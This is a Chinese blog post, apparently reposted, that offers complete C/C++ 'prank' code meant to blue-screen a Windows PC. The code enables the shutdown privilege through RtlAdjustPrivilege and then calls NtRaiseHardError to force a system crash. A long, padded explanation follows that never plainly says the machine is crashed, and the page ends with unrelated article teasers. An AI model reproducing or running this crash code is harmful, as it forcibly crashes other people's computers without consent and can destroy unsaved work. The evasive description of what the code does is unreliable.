C/C++实现蓝屏2.0

news2024/9/21 15:28:46

🚀欢迎互三👉程序猿方梓燚 💎💎

🚀关注博主,后期持续更新系列文章

🚀如果有错误感谢请大家批评指出,及时修改

🚀感谢大家点赞👍收藏评论✍  

前情提要

上次的文章C/C++蓝屏整人代码(要看的戳这里) 居然有粉丝在评论区说没有完全蓝屏(不信自己看下面)

好好好这么玩儿是吧,那么今天我给大家分享一个超级超级超级超级......咳咳咳...牛逼的蓝屏代码废话不多说直接来到大家超级超级超级超级......咳咳咳......喜欢的代码时间

完整代码

#include <Windows.h>
// 包含了 Windows 编程所需的头文件,提供了与 Windows 操作系统进行交互的各种函数、数据结构和常量定义

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 
// WinMain 是 Windows 应用程序的入口点函数。
// HINSTANCE hInstance 是当前应用程序的实例句柄。
// HINSTANCE hPrevInstance 在 32 位 Windows 中始终为 NULL,已废弃。
// LPSTR lpCmdLine 是命令行参数。
// int nCmdShow 决定了窗口的初始显示方式

{
    HMODULE ntdll = LoadLibrary("ntdll.dll"); 
    // 使用 LoadLibrary 函数动态加载 ntdll.dll 库。
    // ntdll.dll 是 Windows 内核的重要模块,包含了许多底层的系统函数。

    FARPROC RtlAdjPriv = GetProcAddress(ntdll, "RtlAdjustPrivilege"); 
    // 通过 GetProcAddress 函数获取 ntdll.dll 库中 "RtlAdjustPrivilege" 函数的地址。

    FARPROC NtRaiseHardErr = GetProcAddress(ntdll, "NtRaiseHardError"); 
    // 同样通过 GetProcAddress 函数获取 "NtRaiseHardError" 函数的地址。

    unsigned char ErrKill; 
    // 定义一个无符号字符类型的变量 ErrKill,用于存储相关数据。

    long unsigned int HDErr; 
    // 定义一个无符号长整型变量 HDErr,用于存储相关数据。

    ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13, true, false, &ErrKill); 
    // 进行函数指针的类型转换,并调用 "RtlAdjustPrivilege" 函数,传递了特定的参数 0x13、true、false 和 ErrKill 的地址。

    ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233, 0, 0, 0, 6, &HDErr); 
    // 进行函数指针的类型转换,并调用 "NtRaiseHardError" 函数,传递了特定的参数 0xc0000233 等和 HDErr 的地址。

    return 0; 
    // 返回 0,表示程序正常结束。
}

代码详解

首先,通过 #include <Windows.h> 语句引入了 Windows 编程所需的头文件。此头文件不仅广泛而且详尽地涵盖了与 Windows 操作系统进行交互所必需的各种函数、数据结构和常量定义。它就如同构建摩天大楼的基石,为后续程序的开发精心搭建了稳固且不可或缺的基础架构。无论是处理图形界面、文件操作,还是进行网络通信等,都能在此头文件中找到相应的支持。

 

WinMain 函数作为 Windows 应用程序的关键入口点,具备以下至关重要的参数:

 

HINSTANCE hInstance :此参数独特且精确无误地标识了当前应用程序的实例句柄。在 Windows 系统那复杂而精细的运行机制中,它宛如一把万能钥匙,对于资源的有效管理、窗口的精心创建以及众多相关操作起着决定性作用。其重要性不可小觑,是确保应用程序稳定运行和系统资源合理管理的关键标识符。无论是资源的分配、释放,还是窗口的样式、位置等设置,都离不开这个标识符的准确运用。

 

HINSTANCE hPrevInstance :在 32 位 Windows 环境中已被确切地废弃,并且始终毫无例外地呈现为 NULL 的状态。这意味着它如同一件被时代淘汰的工具,不再具备任何实际的功能和作用。开发者在编写代码时,无需对其进行关注和处理。

 

LPSTR lpCmdLine :这一参数用于细致入微且全面地获取用户在命令行中输入的具体参数。它就像一个灵敏的触角,能够捕捉到用户输入的每一个字符和指令。通过对这些参数进行深入透彻的解析和精心巧妙的处理,程序能够依据用户的输入灵活多变且精准无误地执行多样化的逻辑流程或特定操作。从而实现与用户高效且顺畅的交互,满足用户的个性化需求,提供更加智能和便捷的使用体验。

 

int nCmdShow :其核心功能是严谨细致地决定应用程序窗口的初始显示方式。它仿佛是一位精准的调度员,能够将窗口的初始状态精准设置为最大化、最小化、正常显示等各种不同的状态。为用户提供了丰富多样的初始窗口展示效果选择,满足不同用户的偏好和使用场景需求。

 

在函数内部,通过一系列复杂而关键的操作与系统底层进行深度且全面的交互:

 

使用 LoadLibrary 函数动态加载了 ntdll.dll 库。ntdll.dll 作为 Windows 内核至关重要且不可或缺的核心组成部分,承载着数量众多且功能强大的底层系统函数。它犹如一座神秘的宝库,蕴含着无尽的系统核心功能。这一加载操作使得程序得以畅通无阻且高效地访问和充分利用这些底层的核心功能,为实现特定的高级且复杂的操作奠定了坚实的基础和创造了可能。

 

紧接着,巧妙且精准地运用 GetProcAddress 函数准确无误地获取了 ntdll.dll 库中 RtlAdjustPrivilege 和 NtRaiseHardError 这两个关键函数的地址。这一过程就像是在茫茫大海中精准定位到珍贵的宝藏坐标,为后续的操作找到了关键的钥匙。

 

随后,精确无误地定义了 unsigned char 类型的变量 ErrKill 和无符号长整型变量 HDErr ,旨在周密细致地存储后续函数调用过程中可能涉及和产生的各种数据。这些变量如同精心准备的容器,等待着数据的填充和使用。

 

接下来,进行了两次精准且无偏差的函数指针的类型转换,并顺利且高效地执行了相应的函数调用:

 

对于 RtlAdjustPrivilege 函数,极其准确且恰到好处地传递了参数 0x13truefalse 和 ErrKill 的地址,以实现特定且精细入微的权限调整操作。每一个参数的传递都像是在精心编排一场精密的舞蹈,不容有丝毫差错。

 

对于 NtRaiseHardErr 函数,精心且严谨无误地传递了参数 0xc0000233 等以及 HDErr 的地址,从而精准且有效地触发相应的硬件错误处理机制。每一个数据的传递都像是在触发一个复杂而精密的机关,必须确保准确无误。

 

最后,通过 return 0; 语句清晰明确且毫无歧义地表示程序正常结束,圆满且顺利地完成了整个应用程序的运行流程。就如同一场精彩演出的完美落幕,给整个程序的执行画上了一个圆满的句号。

好了今天就到这了ByeBye!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2044296.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在使用JMeter做负载测试遇到过的坑

1、本人做的是HTTP测试。遇到一个错误提示 415 not suported mediatype 注意&#xff0c;需要添加一个HTTP信息头管理信息&#xff0c;在运行的时候&#xff0c;请保持它启动是启用状态。 添加步骤如下图。 相关配置信息如下图。因为采用了JWTTOKEN进行权限验证&#xff0c…

SQL面试题练习 —— 有序行转列

目录 1 题目2 建表语句3 题解 1 题目 有学生各学科分数表&#xff0c;记录了学生的各科分数&#xff0c;请按照学生粒度&#xff0c;生成两列数据分别为学科和分数&#xff0c;要求学科内的顺序与分数顺序一致。 样例数据 期望结果 2 建表语句 --建表语句 create table if not…

偶然遇到了scanf输入字符时,前面与要加上空格

任务描述 本关任务&#xff1a;给定一个含有n个学生数据元素的数组a&#xff0c;用头插法来快速创建整个单链表。 相关知识 创建单链表有两种方法&#xff1a; 先初始化一个单链表&#xff0c;然后向其中一个一个地插入元素&#xff0c;通过调用基本运算算法来创建单链表。…

基于springboot-vue的毕业论文管理系统

TOC springboot251基于springboot-vue的毕业论文管理系统 绪论 1.1 研究背景 当前社会各行业领域竞争压力非常大&#xff0c;随着当前时代的信息化&#xff0c;科学化发展&#xff0c;让社会各行业领域都争相使用新的信息技术&#xff0c;对行业内的各种相关数据进行科学化…

海康VisionMaster使用学习笔记1-本地图像导入及参数设置

前言 原计划直接学习海康相机二次开发,发现先学习使用海康VisionMaster很有必要,与其他相机工具还有用法不太相同.开始记录一下海康VisionMaster使用学习笔记. 本地图像导入及参数设置 本地图像导入 在工具箱中找到采集 拖取图像源模块到流程编辑区域 双击图像源,选择图像源…

STM32cubeMX配置Systick的bug

STM32cubeMX版本&#xff1a;6.11.0 现象 STM32cubeMX配置Systick的时钟&#xff0c;不管选择不分频 还是8分频。 生成的代码都是一样的&#xff0c;代码都是不分频。 即不管选择不分频还是8分频&#xff0c;Systick都是使用的系统时钟 函数调用 HAL_Init() → HAL_Init…

【深度学习】单层神经网络

单层神经网络 神经元感知机 1943年&#xff0c;心理学家McCulloch和数学家Pitts共同发表了神经网络的开山之作A Logical Calculus of the Ideas Immanent in Nervours Activity1&#xff0c;提出了神经网络的第一个数学模型——MP模型。该模型也成为了人工神经网络的基础。 神经…

ELK学习笔记

ElasticStack分布式日志系统概述 Elasticsearch: 一个分布式搜索引擎&#xff0c;能够快速存储、搜索和分析大量数据。核心概念包括索引&#xff08;Index&#xff09;、文档&#xff08;Document&#xff09;和分片&#xff08;Shard&#xff09;。使用 RESTful API 进行数据操…

滑动窗口记录左右的最大值

前言&#xff1a;看到这个题目的时候分析了一下&#xff0c;就是最大值问题&#xff0c;但是要注意分类讨论 以后遇到离散化的问题&#xff0c;还可以开一个map来记录存在的点&#xff0c;免得二分查找的点不存在 #include<bits/stdc.h> using namespace std;const int …

欧科云链研究院对话:风浪越大鱼越贵—链上数据洞悉加密市场规律

作者 Hedy 出品 OKG Research “我们从来就不是理性人。但可以用最简单的工具——链上数据做‘最猛’的分析。” 在经历了超级宏观周之后&#xff0c;金融市场产生了巨大的震荡&#xff0c;加密市场的表现也越来越受到宏观经济因素的影响。欧科云链研究院OKG Research 集结多…

【多模态大模型】LLaMA in arXiv 2023

一、引言 论文&#xff1a; LLaMA: Open and Efficient Foundation Language Models 作者&#xff1a; Meta AI 代码&#xff1a; LLaMA 特点&#xff1a; 该方法在Transformer的基础上增加了Pre-normalization (RMSNorm)、SwiGLU activation function (SwiGLU)、Rotary Embed…

Redis远程字典服务器(5) —— list类型详解

目录 一&#xff0c;基本情况 二&#xff0c;list常用命令 2.1 lpush&#xff0c;lrange 2.2 对于“下标越界”的思考 2.3 lpushx&#xff0c;rpush&#xff0c;rpushx 2.4 lpop&#xff0c;rpop 2.5 lindex&#xff0c;linsert&#xff0c;llen 2.6 lrem 2.7 ltrim…

【JavaEE】深入浅出:Spring Boot配置文件全解析

目录 SpringBoot 配置⽂件配置⽂件作⽤SpringBoot配置⽂件 配置⽂件快速⼊⼿配置⽂件的格式properties 配置⽂件说明properties 基本语法读取配置⽂件properties 缺点分析 yml 配置⽂件说明yml 基本语法yml 使⽤进阶yml 配置不同数据类型及 null配置对象配置集合配置Map yml优缺…

clickhouse集群+Zk优化-解决只读模式,主节点磁盘增长快

问题1&#xff1a;数据库进入只读模式 最近在项目中使用clickhouse的时候&#xff0c;遇到了一个批量插入后报错的问题。报错的内容是数据库进入了只读模式&#xff0c;导致数据写不进去。发现有大量的批量写入报错日志信息。&#xff08;关键异常信息&#xff1a;DB::Exceptio…

数据库行转列

一、行转列 1、使用case…when…then 2、使用SUM(IF()) 生成列 3、使用SUM(IF()) 生成列 WITH ROLLUP 生成汇总行 4、使用SUM(IF()) 生成列&#xff0c;直接生成汇总结果&#xff0c;不再利用子查询 5、使用SUM(IF()) 生成列 UNION 生成汇总行,并利用 IFNULL将汇总行标题…

【安卓】Service生命周期与前台活动

文章目录 Service生命周期使用前台Service 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。 点击跳转到网站。 Service生命周期 在项目的任何位置调用了Context的startService()方法&#xff0c;相应的Se…

安卓好软-----开源的跳开屏广告工具 无需root 权限

GKD 开源项目。 目前最新版本是1.8.0 这款工具是一款免费开源简洁多规则的自动跳过广告的软件。简而言之&#xff0c;基于预设的定时更新订阅规则快照功能&#xff0c;实现识别并自动点击跳过任何开屏广告及点击关闭应用内部任何弹窗广告&#xff0c;如关闭某些APP开屏和内含推…

ITSS服务经理与ITSS服务工程师的岗位职责分析

信息技术服务标准&#xff08;ITSS&#xff09;是一套全面而系统的规范&#xff0c;旨在指导和标准化信息技术服务的提供。 由信息技术服务标准工作组精心制定&#xff0c;这些标准不仅总结了行业的最佳实践&#xff0c;还提升了从事信息技术服务研发与应用的各类组织自主创新…

iOS的App启动详细过程(底层知识)

1.虚拟内存 & ASLR 在早期计算机中数据是直接通过物理地址访问的&#xff0c;这就造成了下面两个问题 1.内存不够用 2.数据安全问题 内存不够 ---> 虚拟内存 虚拟内存就是通过创建一张物理地址和虚拟地址的映射表来管理内存&#xff0c;提高了CPU利用率&#xff0c;…

【Python快速入门和实践012】Python常用脚本-目标检测之查看数据集标签类别及对应数量

一、功能介绍 这段代码的功能是从指定的目录中读取所有的XML文件&#xff0c;并统计这些文件中特定标签&#xff08;<object>标签内的<name>标签&#xff09;的内容和出现次数。 二、代码 import os import xml.etree.ElementTree as ET import globdef count_nu…